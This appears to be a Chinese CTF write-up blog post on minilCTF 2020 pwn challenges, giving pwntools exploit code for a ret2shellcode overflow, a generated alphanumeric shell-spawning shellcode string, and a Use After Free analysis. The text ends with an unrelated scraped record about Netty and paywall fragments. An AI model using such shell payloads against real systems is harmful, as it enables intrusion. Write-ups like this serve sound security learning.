github pages blog addr
【CTF题解NO.00002】minilCTF 2020 - write up by arttnba3
0x00.绪论
mini-LCTF,前身是makerCTF,是西电校内享誉盛名(?)的CTF,作为菜鸡CTFer也尝试着参加了一手
因为咱主攻PWN的原因,所以这一篇应该只有PWN(
(不过主要还是因为我太菜了XD
注:所有题目在archive.lctf.online上都有部署
0x01.Sign in
Starting Point
点进页面就可以直接获得flag了
0x02.PWN
hello - ret2text + ret2shellcode
证明了我真的是菜鸡的一道pwn题,搞了半天才明白XD
做题环境Manjaro-KDE
首先使用checksec指令查看保护,可以发现保护基本都是关的,只有Partial RELRO,那么基本上是可以为所欲为了wwww
win环境下拖进IDA进行分析

可以发现在vul函数存在明显的栈溢出

main函数中调用了vul

那么程序漏洞很明显了:
- 使用
fgets读入最大为72个字节的字符串,但是只分配给了48字节的空间,存在栈溢出
又有一个可疑的bd函数,那么第一时间想到**ret2text**——构造payload跳转到bd
但是很明显,bd函数基本是是空的(悲)

然后我就在这里卡了半天,证明我真的菜XD,感谢cor1e大佬的耐心解答
那么我们该如何利用这个bd呢?
可以看到在bd中存在操作jmp rsp,那么其实我们可以利用这个指令跳转回栈上,执行我们放在栈上的shellcode
也就是说这其实是一道ret2shellcode的题
ret2text执行过程:
-
rsp永远指向栈顶
-
当我们用常规的ret2text构造48字节字符串+8字节rbp+8字节bd函数地址(覆盖掉原返回地址)的payload时,rsp指向的其实是bd函数地址的位置
-
ret指令进入bd后弹出bd地址,rsp指向栈内储存的rbp的值(预期内)
-
bd函数将rbp再push入栈中,此时rsp再加8,指向被新压入的rbp(预期内)
-
bd函数执行rsp上的指令
那么我们就可以在rsp预期内指向的地址上覆盖上我们的shellcode使其被执行
接下来就是ret2shellcode的:
ret2shellcode修正过程:
-
在rsp最终指向的地址放上我们待执行的shellcode
-
由于长度不够,我们可以把getshell的shellcode放在读入的字符串的最开始的地方,再通过汇编指令进行跳转
-
在rsp所指向的位置覆盖上shellcode,改变rsp的值使其指向getshell的shellcode并再次进行跳转,完成getshell
那么payload就很容易构造出来了:
注:第一次盲打payload居然错了,我还是太菜了Or2
注2:其实可以不需要跳转到bd,直接跳转到
context.arch = 'amd64'
sc1 = asm(shellcraft.sh())
sc2 = asm('sub rsp,56')//48字节的字符串+8字节的rbp,跳回开头
sc3 = asm('jmp rsp')
elf = ELF('hello')
payload = sc1 + b'a'*(56-len(sc1)) + p64(elf.symbols['bd']) + sc2 + sc3

高阶解法:栈迁移
假如说这道题并不存在供我们进行跳转的bd函数,给我们的溢出长度就只有72-48=24个字节,但是仅仅是asm(sellcraft.sh())就已经需要48个字节,那么我们该如何通过仅仅24字节的溢出完成pwn呢
答案是使用栈迁移技术
注:赛期因为各种ddl导致只解出了这一道题XD 后面的题解是在赛后写的 部分参照了Lunatic和eqqie师傅的题解
ezsc - Alphanumeric Shellcode
首先是惯例的checksec

四舍五入保护全关,我们有极大的操作空间
程序分析
拖入IDA进行分析

v7是一个函数指针,并被分配到了0x1000大小的内存空间
程序会从输入流逐字节读入最大4096个字节写入到v7所指向的空间上,且限制输入仅能为字母或数字否则终止输入
输入结束后尝试执行函数指针v7
那么我们直接输入一段shellcode即可getshell
但是限制了输入只能是数字和字母,常见的shellcode都包含一些其他字符
于是只好百度XD
得知一种叫做Alphanumeric Shellcode的东西www
Alphanumeric Shelllcode
具体参见:https://www.freebuf.com/articles/system/232280.html
首先从GitHub上随便找一个轮子
$ git clone https://github.com/TaQini/alpha3.git
然后编写生成我们的shellcode的脚本
# sc.py
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)
输出重定向至文本
$ python sc.py > sc
使用轮子生成alphanumeric shellcode
$ python ./ALPHA3.py x64 ascii mixedcase rax --input="sc"

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00
连接服务端,发送我们的alphanumeric shellcode,成功getshell

得到flag
moectf{Y0u_kn3w_tH3_a1ph4num3r1C_she1lc0de!}
easycpp - Use After Free
首先是惯例的checksec

我们可以看到,和前面几题不同的是这个程序是一个32位的程序
说实话我也不知道为什么画风突变变成32位XD
程序分析
拖入IDA进行分析

用到了一个名为B的类,我们先看看这个类都有些啥
IDA中类B有一个构造函数B()和一个print()函数

类B的构造函数如下:

类B的构造函数首先调用了类A的构造函数,然后将变量_vptr_A设置为一个函数指针
我们不难看到在0x80489E4位置上我们还需要再跳转一次到0x80488F2的位置,这个位置上有一个B::print()函数,故可知这是一个二级函数指针


我们再来看看类A的构造函数,如下:

类A的构造函数也是将变量_vptr_A设置为一个函数指针
位于off_80489F0上的函数为A::print()


接下来是main函数的简单分析:

v3、v4都是一个类型为类 B的指针
首先setvbuf()函数将程序设置为无缓冲输入
之后创建了一个类B的实例并将地址给到指针v3和v4
之后将该实例内的变量_vptr_A的值设为0
之后使用delete释放掉之前分配给v3、v4的内存
之后从标准输入流读入1024个字节到buf(或许有操作空间?)
之后调用strbuf()函数重新分配一段内存空间并将buf的值拷贝一份(当然最后并没有指针接收这一块内存,那么它会成为野内存吗?)
最后重新调用v4的函数指针变量所指向的函数
那么我们在这里就可以发现一个exploit:
Use After Free
v3、v4所指向的内存空间被释放后v3、v4并没有被设置为NULL,在运行到strdup()函数时这一块内存空间又被重新分配给strdup()函数,而之后又通过v4再次对这一块内存空间进行调用,很明显存在**UAF(Use After Free)**漏洞

This blog post provides a detailed walkthrough of solving PWN challenges from the minilCTF 2020 competition. The author discusses various techniques, including ret2shellcode, stack migration, Use After Free (UAF), and Fastbin attacks. The write-up covers several CTF challenges, with explanations on how to exploit vulnerabilities, construct payloads, and achieve remote code execution."
74057553,6131059,理解Netty ChannelBuffer:C++实现解析,"['网络编程', 'Java框架', 'C++', 'Netty', '数据传输']
最低0.47元/天 解锁文章
971

被折叠的 条评论
为什么被折叠?



